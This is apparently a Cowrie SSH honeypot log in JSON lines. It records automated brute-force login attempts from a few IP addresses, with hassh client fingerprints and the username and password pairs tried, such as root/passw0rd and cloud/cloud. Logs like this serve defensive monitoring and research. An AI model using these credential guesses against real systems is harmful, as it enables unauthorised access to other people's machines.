{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50518,"dst_ip":"159.203.135.109","dst_port":22,"session":"db2485e6a9d8","protocol":"ssh","message":"New connection: 192.109.200.237:50518 (159.203.135.109:22) [session: db2485e6a9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:36.379737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:36.384874Z","src_ip":"192.109.200.237","session":"db2485e6a9d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:36.466631Z","src_ip":"192.109.200.237","session":"db2485e6a9d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:36.711872Z","src_ip":"192.109.200.237","session":"db2485e6a9d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:37.797408Z","src_ip":"192.109.200.237","session":"db2485e6a9d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50524,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac71dabcb391","protocol":"ssh","message":"New connection: 192.109.200.237:50524 (159.203.135.109:22) [session: ac71dabcb391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:39.449697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:39.453305Z","src_ip":"192.109.200.237","session":"ac71dabcb391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:39.538014Z","src_ip":"192.109.200.237","session":"ac71dabcb391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:39.783626Z","src_ip":"192.109.200.237","session":"ac71dabcb391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:40.868261Z","src_ip":"192.109.200.237","session":"ac71dabcb391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49874,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcad974c222e","protocol":"ssh","message":"New connection: 192.109.200.237:49874 (159.203.135.109:22) [session: fcad974c222e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:42.490073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:42.494896Z","src_ip":"192.109.200.237","session":"fcad974c222e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:42.578704Z","src_ip":"192.109.200.237","session":"fcad974c222e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:42.827745Z","src_ip":"192.109.200.237","session":"fcad974c222e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:43.914562Z","src_ip":"192.109.200.237","session":"fcad974c222e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49886,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ead894120c3","protocol":"ssh","message":"New connection: 192.109.200.237:49886 (159.203.135.109:22) [session: 5ead894120c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:45.744465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:45.749204Z","src_ip":"192.109.200.237","session":"5ead894120c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:45.835520Z","src_ip":"192.109.200.237","session":"5ead894120c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:46.079867Z","src_ip":"192.109.200.237","session":"5ead894120c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:47.163882Z","src_ip":"192.109.200.237","session":"5ead894120c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49892,"dst_ip":"159.203.135.109","dst_port":22,"session":"a94ceec7d700","protocol":"ssh","message":"New connection: 192.109.200.237:49892 (159.203.135.109:22) [session: a94ceec7d700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:48.825204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:48.829523Z","src_ip":"192.109.200.237","session":"a94ceec7d700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:48.911484Z","src_ip":"192.109.200.237","session":"a94ceec7d700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:49.157531Z","src_ip":"192.109.200.237","session":"a94ceec7d700","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44006,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d415947ee8e","protocol":"ssh","message":"New connection: 80.94.92.184:44006 (159.203.135.109:22) [session: 3d415947ee8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:50.005912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:50.065239Z","src_ip":"80.94.92.184","session":"3d415947ee8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:50.186433Z","src_ip":"80.94.92.184","session":"3d415947ee8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:50.298667Z","src_ip":"192.109.200.237","session":"a94ceec7d700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty1234","message":"login attempt [solv/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:51.098956Z","src_ip":"80.94.92.184","session":"3d415947ee8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60684,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d7861f2d05a","protocol":"ssh","message":"New connection: 192.109.200.237:60684 (159.203.135.109:22) [session: 6d7861f2d05a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:51.956744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:51.961444Z","src_ip":"192.109.200.237","session":"6d7861f2d05a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:52.044730Z","src_ip":"192.109.200.237","session":"6d7861f2d05a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:52.293029Z","src_ip":"192.109.200.237","session":"6d7861f2d05a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:53.379134Z","src_ip":"192.109.200.237","session":"6d7861f2d05a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:53.576077Z","src_ip":"80.94.92.184","session":"3d415947ee8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":36750,"dst_ip":"159.203.135.109","dst_port":22,"session":"702e56282580","protocol":"ssh","message":"New connection: 193.37.70.224:36750 (159.203.135.109:22) [session: 702e56282580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:54.548564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:54.556619Z","src_ip":"193.37.70.224","session":"702e56282580","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:54.651002Z","src_ip":"193.37.70.224","session":"702e56282580","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"resident","message":"login attempt [root/resident] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:54.934883Z","src_ip":"193.37.70.224","session":"702e56282580","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60704,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e2b86340329","protocol":"ssh","message":"New connection: 192.109.200.237:60704 (159.203.135.109:22) [session: 0e2b86340329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:55.077774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:52:55.082659Z","src_ip":"192.109.200.237","session":"0e2b86340329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.